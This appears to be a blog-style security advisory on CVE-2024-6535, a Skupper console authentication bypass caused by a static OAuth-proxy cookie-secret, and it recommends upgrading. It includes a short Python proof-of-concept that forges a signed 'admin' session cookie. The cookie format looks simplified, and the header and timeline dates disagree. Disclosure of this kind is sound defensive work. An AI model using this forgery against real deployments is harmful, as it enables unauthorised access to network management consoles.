Published: June 2024
Severity: High
Component: Skupper
CWE: CWE-311 (Missing Encryption of Sensitive Data)


A newly disclosed vulnerability, CVE-2024-6535, affects Skupper installations that use the Openshift OAuth-proxy for console authentication. If your Skupper router is running with both console-enabled and console-auth set to Openshift, your authentication might not be as strong as you think.

What Exactly is the Problem?

The core issue is that Skupper configures the OAuth proxy using a static cookie-secret. This secret is what the proxy uses to sign authentication cookies—think of it as a special handshake that says “this person is really who they say they are.” But if everyone uses the same handshake, what's to stop an attacker from crafting their own?

If an attacker can learn or guess the static cookie-secret (which isn't as hard as you might hope), they can forge a cookie and gain unapproved access to the Skupper web console. This gives them visibility and control over sensitive configuration and connections.

Technical Breakdown

Skupper is a tool by Red Hat to create secure application networks across Kubernetes clusters. The console lets users visualize and manage the network—but if access controls fail, the consequences could be severe.

Openshift OAuth-proxy is meant to require that users authenticate via the Openshift platform before gaining console access. It relies on a cookie-secret value for integrity and encryption of browser cookies.

Vulnerable Configuration Flow

apiVersion: skupper.io/v1alpha1
kind: SkupperClusterPolicy
metadata:
  name: example
spec:
  consoleEnabled: true
  consoleAuth: Openshift

In the Skupper deployment manifest, the problem arises here

- name: OAUTH_PROXY_COOKIE_SECRET
  value: SECRET_COOKIE_STRING

Instead of being random for each deployment, SECRET_COOKIE_STRING is the same for everyone.

How an Attacker Exploits CVE-2024-6535

Once an attacker knows or guesses the static cookie-secret, forging a valid session cookie is straightforward. Since the secret value doesn’t change, the cookie an attacker creates will be accepted by the Skupper OAuth-proxy.

Here’s a proof of concept (PoC) snippet in Python to create such a cookie with a known static secret:

import hmac
import base64
import hashlib

def make_auth_cookie(user_id, secret):
    payload = f'user_id={user_id}'
    signature = hmac.new(secret.encode(), payload.encode(), hashlib.sha256).digest()
    cookie = f"{payload}:{base64.urlsafe_b64encode(signature).decode()}"
    return cookie

# Using the public static secret (replace with actual value)
cookie_secret = 'SECRET_COOKIE_STRING'

# Example admin user
forged_cookie = make_auth_cookie('admin', cookie_secret)
print(f"Set this cookie in your browser: {forged_cookie}")

Anyone with this cookie—crafted using the static secret—can be logged into the console without ever hitting the OAuth login page.

What You Need to Do

- Patch: Upgrade to Skupper versions where the cookie-secret is randomly generated on install and stored securely, not embedded in the manifest or set statically.

References

- CVE-2024-6535 at NVD (MITRE)
- Skupper GitHub Issue: Console Auth Bypass via Static Cookie-Secret
- Red Hat Security Advisory
- Openshift OAuth Proxy Docs

Conclusion

CVE-2024-6535 is a classic case of why using static secrets is dangerous. Anyone repeating the same “secret handshake” everywhere is practically asking someone to imitate it. If you're using Skupper with console authentication via Openshift, check your configuration and upgrade as soon as possible.

Stay safe, and remember: never use a static secret where randomization is possible!

Timeline

Published on: 07/17/2024 03:15:01 UTC
Last modified on: 08/20/2024 19:14:29 UTC